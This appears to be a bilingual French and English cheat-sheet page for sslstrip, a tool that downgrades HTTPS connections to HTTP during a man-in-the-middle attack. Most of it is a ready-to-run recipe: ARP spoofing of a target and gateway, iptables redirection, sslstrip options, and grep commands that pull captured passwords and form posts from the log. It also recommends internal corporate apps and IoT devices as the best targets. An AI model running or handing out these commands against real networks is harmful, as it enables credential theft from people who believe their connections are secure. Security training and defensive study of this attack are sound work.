sslstrip

Outil d'attaque par downgrade HTTPS. Détourne de manière transparente le trafic HTTP et rétrograde les connexions HTTPS en HTTP, capturant des identifiants envoyés sur des connexions soi-disant 'sécurisées'. HTTPS downgrade attack tool. Transparently hijacks HTTP traffic and downgrades HTTPS connections to HTTP, capturing credentials sent over 'secure' connections.

↗ https://github.com/moxie0/sslstrip

Overview

sslstrip intercepts HTTP traffic and rewrites HTTPS links to HTTP, preventing the victim’s browser from establishing a secure connection. When the victim clicks what they think is an HTTPS link, sslstrip serves it over HTTP while maintaining an HTTPS connection to the real server — capturing credentials in plaintext.

Requirements

# Requires:
# 1. MITM position (ARP poisoning or DHCP)
# 2. Traffic redirection (iptables)
# 3. IP forwarding enabled

Setup

Step 1: Enable IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: Redirect HTTP traffic to sslstrip

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1   # target → gateway
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50   # gateway → target

Step 4: Start sslstrip

sslstrip -l 8080

Basic Usage

Listen on port 8080 (default)

sslstrip -l 8080

With logging

sslstrip -l 8080 -w sslstrip.log

Kill mode (redirect all HTTPS to HTTP port)

sslstrip -l 8080 -k

Disable favicon (reduces suspicion of certificate errors)

sslstrip -l 8080 -f

Cleaning Up

Remove iptables rule after attack

iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Or flush all nat rules

iptables -t nat -F
# Stop arpspoof (Ctrl+C on each terminal)

Disable IP forwarding

echo 0 > /proc/sys/net/ipv4/ip_forward

Analyzing the Log

sslstrip.log contains intercepted traffic

cat sslstrip.log

Find POST data with credentials

grep -i "POST\|password\|passwd\|user" sslstrip.log

Find form submissions

grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log

Limitations (Modern Browsers)

sslstrip is largely ineffective against modern targets because:

1. HSTS (HTTP Strict Transport Security):
   - Sites declare they must always be accessed via HTTPS
   - Browser refuses HTTP connections to HSTS-enabled sites
   
2. HSTS Preloading:
   - List of HSTS sites is baked into browsers
   - Can't be bypassed even by clearing cache
   
3. Chrome/Firefox HTTPS-only mode:
   - Modern browsers warn or block HTTP access
   
Works best against:
   - Internal/corporate applications without HSTS
   - Old browsers or applications
   - Non-browser protocols (custom apps)

Tips

  • sslstrip is largely ineffective against modern browsers on public sites
  • Most effective against internal corporate apps, custom clients, and IoT devices
  • Use mitmproxy or bettercap’s sslstrip module for better modern alternatives
  • The attack is still valid conceptually — understanding it is important for defense
Help / Man page
sslstrip [options]

-l PORT     Listen port (default: 10000)
-w FILE     Log to file
-k          Kill (redirect secure connections to HTTP)
-f          No favicon (avoid SSL lock icon)
-p          POSTing mode (capture only POST data)
-s          Send secure cookies back

Vue d’ensemble

sslstrip intercepte le trafic HTTP et réécrit les liens HTTPS en HTTP, empêchant le navigateur de la victime d’établir une connexion sécurisée. Quand la victime clique sur ce qu’elle croit être un lien HTTPS, sslstrip le sert en HTTP tout en maintenant une connexion HTTPS vers le vrai serveur : capturant ainsi les identifiants en clair.

Prérequis

# Nécessite :
# 1. Une position MITM (empoisonnement ARP ou DHCP)
# 2. La redirection du trafic (iptables)
# 3. L'IP forwarding activé

Mise en place

# Étape 1 : activer l'IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Étape 2 : rediriger le trafic HTTP vers sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1   # cible → passerelle
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50   # passerelle → cible

Étape 4 : démarrer sslstrip

sslstrip -l 8080

Utilisation de base

# Écouter sur le port 8080 (par défaut)
sslstrip -l 8080

# Avec journalisation
sslstrip -l 8080 -w sslstrip.log

# Mode kill (redirige tout le HTTPS vers le port HTTP)
sslstrip -l 8080 -k

# Désactiver le favicon (réduit les soupçons d'erreur de certificat)
sslstrip -l 8080 -f

Nettoyage

# Retirer la règle iptables après l'attaque
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Ou vider toutes les règles nat
iptables -t nat -F
# Arrêter arpspoof (Ctrl+C sur chaque terminal)

Désactiver l’IP forwarding

echo 0 > /proc/sys/net/ipv4/ip_forward

Analyse des logs

sslstrip.log contient le trafic intercepté

cat sslstrip.log
# Trouver les données POST avec identifiants
grep -i "POST\|password\|passwd\|user" sslstrip.log

# Trouver les soumissions de formulaires
grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log

Limitations (navigateurs modernes)

sslstrip est largement inefficace contre les cibles modernes car :

1. HSTS (HTTP Strict Transport Security) :
   - Les sites déclarent qu'ils doivent toujours être accédés en HTTPS
   - Le navigateur refuse les connexions HTTP vers les sites HSTS
   
2. Préchargement HSTS :
   - La liste des sites HSTS est intégrée dans les navigateurs
   - Ne peut pas être contournée même en vidant le cache
   
3. Mode HTTPS-only de Chrome/Firefox :
   - Les navigateurs modernes avertissent ou bloquent l'accès HTTP
   
Fonctionne le mieux contre :
   - Les applications internes/corporate sans HSTS
   - Les anciens navigateurs ou applications
   - Les protocoles non-navigateur (applications custom)

Conseils

  • sslstrip est largement inefficace contre les navigateurs modernes sur des sites publics
  • Plus efficace contre les applications corporate internes, les clients custom et les appareils IoT
  • Utiliser mitmproxy ou le module sslstrip de bettercap pour de meilleures alternatives modernes
  • L’attaque reste valide conceptuellement : la comprendre est important pour la défense
Aide / Page de manuel
sslstrip [options]

-l PORT     Listen port (default: 10000)
-w FILE     Log to file
-k          Kill (redirect secure connections to HTTP)
-f          No favicon (avoid SSL lock icon)
-p          POSTing mode (capture only POST data)
-s          Send secure cookies back